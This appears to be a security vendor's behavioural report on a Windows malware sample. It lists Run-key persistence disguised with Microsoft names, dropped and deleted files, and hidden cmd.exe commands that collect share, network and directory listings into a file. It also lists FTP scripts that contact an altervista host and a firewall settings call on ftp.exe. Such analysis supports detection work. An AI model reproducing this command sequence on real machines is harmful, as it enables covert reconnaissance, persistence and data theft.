Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'Svchost Microsoft' = '%HOMEPATH%\ModuleCmd.exe'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Svchost Microsoft' = '%HOMEPATH%\ModuleCmd.exe'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'Microsoft Services' = '%HOMEPATH%\ModuleLog.exe'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Microsoft Services' = '%HOMEPATH%\ModuleLog.exe'
Modifies file system
Creates the following files
- %HOMEPATH%\modulecmd.exe
- %HOMEPATH%\win1.ini
- %HOMEPATH%\conn_gqltwzedc-user
- %HOMEPATH%\pp
- %HOMEPATH%\ccc3.dll
- %HOMEPATH%\ccc4.dll
- %HOMEPATH%\unix1.reg
Deletes the following files
- %HOMEPATH%\win1.ini
- %HOMEPATH%\pp
- %HOMEPATH%\ccc3.dll
- %HOMEPATH%\ccc4.dll
- %HOMEPATH%\conn_gqltwzedc-user
Substitutes the following files
- %HOMEPATH%\pp
Network activity
TCP
- 'as######no.altervista.org':21
UDP
- DNS ASK google.com
- DNS ASK as######no.altervista.org
Miscellaneous
Searches for the following windows
- ClassName: 'RegEdit_RegEdit' WindowName: ''
Creates and executes the following
- '%HOMEPATH%\modulecmd.exe'
- '%HOMEPATH%\modulecmd.exe' ' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C NET SHARE > "%HOMEPATH%\CONN_GQLTWZEDC-USER"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C IPCONFIG/ALL >> "%HOMEPATH%\CONN_GQLTWZEDC-USER"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C DIR C:\ >> "%HOMEPATH%\CONN_GQLTWZEDC-USER"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C ping www.google.com > "%HOMEPATH%\pp"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C ftp -s:"%HOMEPATH%\ccc3.dll"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C ftp -s:"%HOMEPATH%\ccc4.dll"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C RegEdit /i /s "%HOMEPATH%\unix1.reg"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C DEL "%HOMEPATH%\CONN_GQLTWZEDC-USER"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C ftp -s:"%HOMEPATH%\ccc1.dll"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C NET SHARE > "%HOMEPATH%\CONN_GQLTWZEDC-USER"
- '%WINDIR%\syswow64\cmd.exe' /C DEL "%HOMEPATH%\CONN_GQLTWZEDC-USER"
- '%WINDIR%\syswow64\regedit.exe' /i /s "%HOMEPATH%\unix1.reg"
- '%WINDIR%\syswow64\cmd.exe' /C RegEdit /i /s "%HOMEPATH%\unix1.reg"
- '%WINDIR%\syswow64\ftp.exe' -s:"%HOMEPATH%\ccc4.dll"
- '%WINDIR%\syswow64\cmd.exe' /C ftp -s:"%HOMEPATH%\ccc4.dll"
- '<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "%WINDIR%\syswow64\ftp.exe"
- '%WINDIR%\syswow64\ftp.exe' -s:"%HOMEPATH%\ccc3.dll"
- '%WINDIR%\syswow64\cmd.exe' /C ftp -s:"%HOMEPATH%\ccc3.dll"
- '%WINDIR%\syswow64\ping.exe' www.google.com
- '%WINDIR%\syswow64\cmd.exe' /C ping www.google.com > "%HOMEPATH%\pp"
- '%WINDIR%\syswow64\cmd.exe' /C DIR C:\ >> "%HOMEPATH%\CONN_GQLTWZEDC-USER"
- '%WINDIR%\syswow64\ipconfig.exe' /ALL
- '%WINDIR%\syswow64\cmd.exe' /C IPCONFIG/ALL >> "%HOMEPATH%\CONN_GQLTWZEDC-USER"
- '%WINDIR%\syswow64\net1.exe' SHARE
- '%WINDIR%\syswow64\net.exe' SHARE
- '%WINDIR%\syswow64\cmd.exe' /C ftp -s:"%HOMEPATH%\ccc1.dll"
- '%WINDIR%\syswow64\ftp.exe' -s:"%HOMEPATH%\ccc1.dll"
